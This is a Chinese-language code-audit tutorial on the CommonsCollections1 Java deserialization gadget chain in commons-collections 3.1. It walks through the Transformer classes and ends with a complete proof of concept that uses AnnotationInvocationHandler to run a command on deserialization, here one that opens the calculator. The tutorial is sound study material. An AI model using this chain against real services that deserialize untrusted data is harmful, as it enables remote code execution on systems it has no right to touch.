Java代码审计:反序列化链CommonsCollections1详解

0x01 漏洞介绍

Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。

CommonsCollection在java反序列化的源流中已经存在5年

今天介绍的CommonsCollections1,反序列化的第一种RCE序列化链

CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本

0x02 实验环境

  • maven的pom导入依赖
1
2
3
4
5
6
7
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
  • 此实验Java版本,在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用

  • MACBOOK

  • IDEA 2020

此次实验代码:

https://github.com/godzeo/javasec\_code\_study/tree/master/src/main/java/CommonCollections

0x03 构造链-基础知识

看完之后,大概会总结一下,需要了解这⼏个接⼝和类的知识点

首先要从Transformer类开始

Transformer

Transformer它只是⼀个接⼝,只有⼀个待实现的⽅法:它的作用我感觉就是总接口吧

1
2
3
4
5
package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}

TransformedMap

TransformedMap在利用链中个人理解:是一个触发器,主要是后面类中的 实现类的Transformer()方法

1
2
3
4
5
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
  • 它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。
  • 这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。
  • 第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。

ChainedTransformer

  • ChainedTransformer就是实现了Transformer接⼝的⼀个类

  • 它就可以承接下一步的操作。

  • 它的主要作⽤:

  • 将内部的多个Transformer串在⼀起

  • 就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

image-20200825164221874

代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public class ChainedTransformer implements Transformer, Serializable {
.......
}
......

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}


public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}

return object;
}

ConstantTransformer

  • ConstantTransformer是实现了Transformer接⼝的⼀个类

    • 简单就是你输入什么类,它就返回什么
1
2
3
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}

InvokerTransformer

  • 这个类就是代码执行的关键了
  • 这个类的实现主要采用了反射的方法
  • 简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行)
  • 只要参数可控,就是任意命令执行

看一下代码,其实就是反射的代码,给封装到transform方法里面了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}

0x04 简单的DEMO

下面是P牛写的dome

简单的利上面的知识点,构造了一个简单的链,达到命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package CommonCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]{"open -a Calculator"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("zeo", "666");
}
}

分析一下:

  1. 实例化new Transformer的数组,构造中间的小链子
  2. 小链子主要有两个ConstantTransformer,InvokerTransformer 这个两个构造好后,放入刚刚提到的ChainedTransformer类里面,他们就是连起来的里面,大概就是下面这么个情况image-20200825165856011
  3. 命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法
  4. 实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链
  5. 所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器

image-20200825170538165

0x05 改写POC

  • 上面的漏洞虽然触发了,但是其实是手动触发,没什么用的。

  • 反序列化洞,你不得找到一个反序列化的点,来触发这个洞吗?

  • 所以,目标是:找到⼀个类,它在反序列化的readObject逻辑⾥有类似的写⼊操作。

  • 这个类就是

    1
    sun.reflect.annotation.AnnotationInvocationHandler
    • 反序列化的实现方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
  • 发现主要的触发点在 memberValue.setValue(),这个方法可以往map对象里面赋值。
  • memberValue成员变量是map对象
  • 所以最终的流程:

把之前构造的transform链包装成一个Map对象

将它作为AnnotationInvocationHandler反序列后的memberValue

在readObject反序列化的时候,触发memberValue.setValue()

然后再触发TransformedMap里的transform()

最后实现命令执行。

Transformer的利用也要改写

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Transformer[] transformers = new Transformer[]{

//利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
//利用反射构造命令执行
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open -a Calculator"}),
};

改写就是将 Runtime.getRuntime() 换成了 Runtime.class

原因是:java.lang.Runtime 对象不能反序列化

方法 可否序列化
Runtime.getRuntime() java.lang.Runtime no
Runtime.class java.lang.Class yes

重点:Java中不是所有对象都⽀持序列化,Java类 必须都实现了 java.io.Serializable 接⼝,才可以序列化,所以我们得换一个对象实现POC的改写

0x06最终POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package CommonCollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections1poc {
public static void main(String[] args) throws Exception {

//构造Transformer的小链式
Transformer[] transformers = new Transformer[]{

//利用InvokerTransformer的反射功能,构造可以序列化的 java.lang.Class 的 Runtime,class对象
//利用反射构造命令执行
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open -a Calculator"}),
};
// 将transformers链式的串起来在transformerChain内部
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
innerMap.put("value", "zeo");

//绑定map到修饰器
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

//反射获取AnnotationInvocationHandler,将内部的方法实例化他
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

//序列化操作,讲上述构造的handler恶意的对象,序列化保存
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(handler);
oos.close();

//没实际作用,就是打印看一下反序列化的数据
System.out.println(barr);

//触发反序列化操作,触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}

成功执行:

image-20200827143035470

0x07总结

​ 还是挺有意义的吧,了解底层的原来,还有一些类的原理没有摸透,得好好再看看。

​ 反射的基础还是挺重要的,得多学习。